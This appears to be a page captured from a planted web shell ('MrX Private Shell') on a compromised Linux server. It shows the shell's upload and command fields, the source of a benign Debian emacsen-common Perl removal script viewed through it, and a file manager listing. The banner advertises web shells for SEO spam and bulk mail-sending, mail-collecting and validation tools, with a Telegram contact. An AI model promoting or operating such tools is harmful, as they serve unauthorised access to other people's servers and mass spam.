__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#!/usr/bin/perl -w

use Errno;
use strict;

$ENV{'EMACS_INHIBIT_AUTOMATIC_NATIVE_COMPILATION'} = 't';

my $lib_dir = "/usr/lib/emacsen-common";
my $invoked_by_old_pkg;
my $flavor;

require $lib_dir . "/lib.pl";

umask 0022 or die "emacs-remove: can't set umask, aborting.";

sub usage
{
  my($file_handle) = @_;
  if($invoked_by_old_pkg)
  {
    print $file_handle "Usage: emacs-remove FLAVOR\n";
  }
  else
  {
    print $file_handle "Usage: emacs-remove --prerm FLAVOR\n";
  }
}

if(scalar(@ARGV) == 1)
{
  $invoked_by_old_pkg = 1;
  $flavor = $ARGV[0];
}
elsif(scalar(@ARGV) == 2 && $ARGV[0] eq '--prerm')
{
  $flavor = $ARGV[1];
}
else
{
  usage(*STDERR{IO});
  exit(2);
}

my @ordered_pkg_list =
    reverse
    generate_add_on_install_list(get_installed_add_on_packages());

my @installed_flavors = get_installed_flavors();

foreach my $pkg (@ordered_pkg_list)
{
  print "Remove $pkg for $flavor\n";
  my $script = $lib_dir . "/packages/remove/$pkg";
  my $failed;
  if(-e "$lib_dir/packages/compat/$pkg") # New-style package.
  {
    $failed = -e $script && (system($script, $flavor) != 0);
  }
  else # Old-style package.
  {
    $failed = -e $script && (system($script, $flavor, @installed_flavors) != 0);
  }
  if($failed)
  {
    print STDERR "ERROR: remove script from $pkg package failed\n";
    exit(2);
  }
}

# Silence "single use" warning.
$::installed_flavor_state_dir = $::installed_flavor_state_dir;

die "ERROR: cannot unlink $::installed_flavor_state_dir/$flavor: $!, "
    unless (unlink("$::installed_flavor_state_dir/$flavor") or $!{ENOENT});

Filemanager

Name Type Size Permission Actions
packages Folder 0755
emacs-install File 1.8 KB 0755
emacs-package-install File 2.27 KB 0755
emacs-package-remove File 1.71 KB 0755
emacs-remove File 1.53 KB 0755
lib.pl File 4.84 KB 0755
Filemanager